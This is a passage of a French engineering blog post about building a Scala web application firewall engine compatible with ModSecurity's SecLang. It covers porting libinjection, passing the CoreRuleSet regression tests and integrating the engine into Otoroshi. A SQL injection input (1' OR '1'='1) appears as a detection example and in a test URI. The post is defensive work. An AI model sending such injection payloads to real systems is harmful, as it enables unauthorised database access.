&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  var&lt;/span&gt;&lt;span&gt; state&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; RuntimeState&lt;/span&gt;&lt;span&gt;.initial(program.mode)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  for&lt;/span&gt;&lt;span&gt; (phase &lt;/span&gt;&lt;span&gt;&amp;#x3C;-&lt;/span&gt;&lt;span&gt; phases &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; state.shouldContinue) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    for&lt;/span&gt;&lt;span&gt; (chain &lt;/span&gt;&lt;span&gt;&amp;#x3C;-&lt;/span&gt;&lt;span&gt; program.chains.getOrElse(phase, &lt;/span&gt;&lt;span&gt;Nil&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      val&lt;/span&gt;&lt;span&gt; result&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; evaluateChain(chain, ctx, state)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      state &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; result.state&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      result.disposition &lt;/span&gt;&lt;span&gt;match&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Block&lt;/span&gt;&lt;span&gt;(status, msg, ruleId) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          // Early exit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          return&lt;/span&gt;&lt;span&gt; EngineResult&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Block&lt;/span&gt;&lt;span&gt;(status, msg, ruleId), &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            state&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Continue&lt;/span&gt;&lt;span&gt; =&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          // Keep going&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  EngineResult&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Continue&lt;/span&gt;&lt;span&gt;, state)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;variables-transformations-opérateurs-actions&quot;&gt;Variables, transformations, opérateurs, actions&lt;/h3&gt;
&lt;p&gt;Le moteur implémente quatre composants clés, qui suivent tous le même modèle : du pattern matching Scala sur l’AST.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Variables&lt;/strong&gt; (plus de 30) : elles extraient des données de la requête (&lt;code&gt;REQUEST_URI&lt;/code&gt;, &lt;code&gt;REQUEST_HEADERS&lt;/code&gt;, &lt;code&gt;ARGS&lt;/code&gt;, &lt;code&gt;COOKIES&lt;/code&gt;, etc.). Elles permettent d’accéder aux collections par clé ou avec des sélecteurs regex comme &lt;code&gt;REQUEST_HEADERS:/^X-Custom-/&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Transformations&lt;/strong&gt; (plus de 25) : elles normalisent les valeurs avant la comparaison (&lt;code&gt;lowercase&lt;/code&gt;, &lt;code&gt;urlDecode&lt;/code&gt;, &lt;code&gt;base64Decode&lt;/code&gt;, &lt;code&gt;htmlEntityDecode&lt;/code&gt;, &lt;code&gt;removeWhitespace&lt;/code&gt;, etc.). Elles peuvent être chaînées : &lt;code&gt;t:lowercase,t:urlDecode&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Opérateurs&lt;/strong&gt; (plus de 15) : ils effectuent la comparaison proprement dite (&lt;code&gt;@rx&lt;/code&gt; pour les regex, &lt;code&gt;@pm&lt;/code&gt; pour le phrase match, &lt;code&gt;@contains&lt;/code&gt;, &lt;code&gt;@beginsWith&lt;/code&gt;, &lt;code&gt;@ipMatch&lt;/code&gt;, &lt;code&gt;@detectSQLi&lt;/code&gt;, &lt;code&gt;@detectXSS&lt;/code&gt;, etc.).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Actions&lt;/strong&gt; : elles s’exécutent en cas de correspondance (&lt;code&gt;block&lt;/code&gt;, &lt;code&gt;pass&lt;/code&gt;, &lt;code&gt;deny&lt;/code&gt;, &lt;code&gt;setvar&lt;/code&gt; pour les variables TX, &lt;code&gt;skip&lt;/code&gt;, &lt;code&gt;skipAfter&lt;/code&gt; pour le contrôle de flux, etc.).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Voici un aperçu de l’implémentation des opérateurs :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; matchOperator&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;op&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Operator&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;String&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; Boolean&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; op &lt;/span&gt;&lt;span&gt;match&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  case&lt;/span&gt;&lt;span&gt; Operator&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Rx&lt;/span&gt;&lt;span&gt;(pattern) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;span&gt; RegexPool&lt;/span&gt;&lt;span&gt;.regex(pattern).findFirstIn(value).isDefined&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  case&lt;/span&gt;&lt;span&gt; Operator&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Pm&lt;/span&gt;&lt;span&gt;(phrases) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;span&gt; phrases.exists(p &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;span&gt; value.toLowerCase.contains(p.toLowerCase))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  case&lt;/span&gt;&lt;span&gt; Operator&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Contains&lt;/span&gt;&lt;span&gt;(s) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;span&gt; value.contains(s)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  case&lt;/span&gt;&lt;span&gt; Operator&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;IpMatch&lt;/span&gt;&lt;span&gt;(ranges) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;span&gt; ranges.exists(_.contains(&lt;/span&gt;&lt;span&gt;InetAddress&lt;/span&gt;&lt;span&gt;.getByName(value)))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // ... etc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;partie-4--le-défi-libinjection&quot;&gt;Partie 4 : le défi libinjection&lt;/h2&gt;
&lt;p&gt;En implémentant les opérateurs, je me suis heurté à un mur : SecLang inclut les opérateurs &lt;code&gt;@detectSQLi&lt;/code&gt; et &lt;code&gt;@detectXSS&lt;/code&gt;, qui s’appuient sur &lt;a href=&quot;https://github.com/libinjection/libinjection&quot;&gt;libinjection&lt;/a&gt;, une bibliothèque C de détection des injections SQL et des attaques XSS. Il n’en existait aucun portage en Java ou en Scala. J’avais donc deux options :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;abandonner&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ou porter en Java une bibliothèque de sécurité C de 4 000 lignes&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Devinez laquelle j’ai choisie.&lt;/p&gt;
&lt;p&gt;libinjection utilise une technique astucieuse : plutôt que des expressions régulières, elle &lt;em&gt;tokenise&lt;/em&gt; l’entrée et génère une « empreinte » (fingerprint), comparée ensuite à des motifs d’attaque connus. Par exemple, l’entrée SQL &lt;code&gt;1&apos; OR &apos;1&apos;=&apos;1&lt;/code&gt; est découpée en tokens et réduite à &lt;code&gt;[s, &amp;#x26;, s]&lt;/code&gt; (chaîne, opérateur booléen, chaîne), puis comparée à plus de 9 000 empreintes d’injection SQL connues. La détection XSS fonctionne de façon similaire, en s’appuyant sur la tokenisation HTML5 pour repérer les balises, les attributs et les schémas d’URL dangereux.&lt;/p&gt;
&lt;p&gt;Le portage a demandé un effort considérable : le code C d’origine dépasse les 4 000 lignes, avec beaucoup d’arithmétique de pointeurs. L’aide de mon ami Claude a été précieuse ici, pour traduire les idiomes et repérer les cas limites. Le résultat, c’est &lt;a href=&quot;https://github.com/cloud-apim/libinjection-jvm&quot;&gt;libinjection-jvm&lt;/a&gt;, une bibliothèque Java sans aucune dépendance, entièrement compatible avec la suite de tests d’origine.&lt;/p&gt;
&lt;h2 id=&quot;partie-5--la-suite-de-tests-du-coreruleset&quot;&gt;Partie 5 : la suite de tests du CoreRuleSet&lt;/h2&gt;
&lt;p&gt;Construire le moteur était une chose. Prouver qu’il fonctionnait en était une autre.&lt;/p&gt;
&lt;p&gt;Le projet CoreRuleSet inclut une &lt;a href=&quot;https://github.com/coreruleset/coreruleset/tree/main/tests/regression/tests&quot;&gt;suite de tests&lt;/a&gt; complète, avec plus de 4 000 tests au format YAML :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;test_id&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  desc&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;Test SQL injection detection&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  stages&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;input&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        method&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;GET&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        uri&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;/test?id=1&apos; OR &apos;1&apos;=&apos;1&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      output&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          expect_ids&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;span&gt;942100&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;J’ai écrit un test runner qui :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Analyse les définitions de tests YAML&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Construit des objets &lt;code&gt;RequestContext&lt;/code&gt; à partir des entrées des tests&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Exécute le moteur avec les règles du CRS&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Vérifie le résultat attendu (bloqué ou autorisé)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;La suite de tests du CRS s’est révélée être autant une spécification du comportement attendu qu’un outil de validation.&lt;/p&gt;
&lt;p&gt;Premier lancement : &lt;strong&gt;40 % de réussite&lt;/strong&gt;, puis, après quelques heures de corrections simples : &lt;strong&gt;60 % de réussite&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Alors a commencé le marathon du débogage. Certains échecs venaient de bugs du moteur. D’autres, de bugs du test runner. Quelques-uns, de ma mauvaise compréhension de la sémantique de SecLang.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Test: 942100-1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Expected: BLOCKED&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Got: ALLOWED&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Rule: SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|... &quot;@rx (?i)...&quot; ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Issue: Regex flag handling in negative lookahead&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Un par un, j’ai corrigé les problèmes :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Flags de regex mal propagés&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sémantique d’incrémentation des variables TX&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Logique de court-circuit dans l’évaluation des chaînes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ordre des transformations&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sensibilité à la casse dans la comparaison des en-têtes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Règles de phase 5, censées seulement journaliser, qui bloquaient à tort&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Cette partie a été de véritables montagnes russes émotionnelles : certains correctifs ne réparaient qu’un seul test, d’autres en réparaient environ 200 d’un coup. Mais au bout d’une semaine de travail : &lt;strong&gt;100 % de réussite sur 4 138 tests&lt;/strong&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;global_stats&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;passing_percentage&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;total_tests&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;4174&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;success_tests&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;4174&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;failure_tests&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;time_stats&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;total_time_ms&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;25945&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;avg_time_ms&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;min_time_ms&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;max_time_ms&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;4242&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;le-problème-dapache&quot;&gt;Le problème d’Apache&lt;/h3&gt;
&lt;p&gt;Voici une chose que je n’avais pas anticipée : la suite de tests officielle du CRS a été conçue pour tester ModSecurity + CRS tournant dans Apache, dans un conteneur Docker. Le harnais de test envoie de vraies requêtes HTTP au conteneur et vérifie les réponses.&lt;/p&gt;
&lt;p&gt;Le problème ? Certains tests ne testaient pas vraiment le comportement du WAF : ils testaient celui d’Apache. Par exemple, Apache rejette certaines requêtes malformées (caractères invalides dans les URI, lignes HTTP malformées) &lt;em&gt;avant&lt;/em&gt; même qu’elles n’atteignent ModSecurity. Le test attendait un blocage, mais ce blocage venait d’Apache, pas des règles du CRS.&lt;/p&gt;
&lt;p&gt;En lançant ces mêmes tests sur un moteur SecLang pur, sans Apache devant, ils échouaient : non pas parce que mon moteur se trompait, mais parce que le test supposait le prétraitement d’Apache.&lt;/p&gt;
&lt;p&gt;Comme mon test runner évalue les règles directement (sans reverse proxy), j’ai dû identifier ces cas et modifier les critères d’acceptation. Au lieu de vérifier que le serveur répond avec un statut 400 (ce qui serait l’œuvre d’Apache), j’ai modifié les tests pour vérifier qu’une règle précise du CRS avait bien été déclenchée. Même entrée malveillante, mais on teste désormais le vrai comportement du WAF. Ce travail pourrait profiter au projet CRS en amont, pour tous ceux qui construisent des implémentations alternatives de SecLang.&lt;/p&gt;
&lt;h2 id=&quot;partie-6--le-pattern-factory-pour-le-multi-tenant&quot;&gt;Partie 6 : le pattern factory pour le multi-tenant&lt;/h2&gt;
&lt;p&gt;Chez Cloud APIM, nous faisons tourner une infrastructure multi-tenant. Plusieurs clients peuvent partager des instances Otoroshi (ou utiliser les leurs), chacun avec ses propres configurations de WAF. Il nous fallait :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Des règles de base partagées&lt;/strong&gt; : le CRS chargé une seule fois, partagé entre tous les tenants&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Une personnalisation par tenant&lt;/strong&gt; : chaque tenant peut ajouter ou retirer des règles&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Un cache efficace&lt;/strong&gt; : les programmes compilés sont mis en cache et réutilisés&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;En pratique, le multi-tenant a tendance à faire de la configuration un enjeu de scalabilité à part entière, au même titre que le CPU et la mémoire.&lt;/p&gt;
&lt;p&gt;La solution : un pattern factory avec des presets.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Define reusable presets&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;val&lt;/span&gt;&lt;span&gt; presets&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; Map&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;crs&quot;&lt;/span&gt;&lt;span&gt; -&gt;&lt;/span&gt;&lt;span&gt; SecLangPreset&lt;/span&gt;&lt;span&gt;.fromResources(&lt;/span&gt;&lt;span&gt;&quot;crs&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;/coreruleset/crs-setup.conf.example&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;/coreruleset/rules/*.conf&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Create factory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;val&lt;/span&gt;&lt;span&gt; factory&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; SecLang&lt;/span&gt;&lt;span&gt;.factory(presets)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Tenant-specific configuration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;val&lt;/span&gt;&lt;span&gt; tenantRules&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;@import_preset crs&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;&quot;&quot;SecRuleRemoveById 942100&quot;&quot;&quot;&lt;/span&gt;&lt;span&gt;,  &lt;/span&gt;&lt;span&gt;// Disable specific rule&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;&quot;&quot;SecRule REQUEST_URI &quot;@contains /health&quot; &quot;id:10001,phase:1,allow,nolog&quot; &quot;&quot;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;SecRuleEngine On&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Get compiled engine (cached)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;val&lt;/span&gt;&lt;span&gt; engine&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; factory.engine(tenantRules)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La factory :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Compile une seule fois chaque configuration de règles unique&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Met en cache les instances de &lt;code&gt;CompiledProgram&lt;/code&gt; avec un TTL configurable&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Permet la composition de règles grâce à l’import de presets&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Est thread-safe pour les accès concurrents&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;partie-7--lintégration-dans-otoroshi&quot;&gt;Partie 7 : l’intégration dans Otoroshi&lt;/h2&gt;
&lt;p&gt;La dernière pièce : intégrer le moteur dans &lt;a href=&quot;https://github.com/MAIF/otoroshi&quot;&gt;Otoroshi&lt;/a&gt; sous forme d’extension. Otoroshi est un reverse proxy HTTP open source écrit en Scala, que j’ai créé il y a plusieurs années. L’un des grands atouts d’Otoroshi, c’est son extensibilité : vous pouvez facilement écrire et utiliser vos propres plugins et extensions.&lt;/p&gt;
&lt;h3 id=&quot;lentité-de-configuration-du-waf&quot;&gt;L’entité de configuration du WAF&lt;/h3&gt;
&lt;p&gt;Avec cette extension, une nouvelle entité permet de configurer le comportement du WAF (ce n’est pas à proprement parler une instance de WAF, mais vous voyez l’idée). Un point important ici : la possibilité d’activer ou non l’inspection des corps. Par conception, Otoroshi ne charge pas les corps des requêtes et des réponses en mémoire : il les traite en streaming. Il y a donc un compromis : activer l’inspection des corps rend Otoroshi un peu plus lent et plus gourmand en RAM, mais permet au WAF de détecter les attaques cachées dans les payloads.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;case&lt;/span&gt;&lt;span&gt; class&lt;/span&gt;&lt;span&gt; CloudApimWafConfig&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  id&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;String&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;String&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  enabled&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Boolean&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  block&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Boolean&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;,              &lt;/span&gt;&lt;span&gt;// Block vs. monitor-only&lt;/span&gt;&lt;/span&gt;
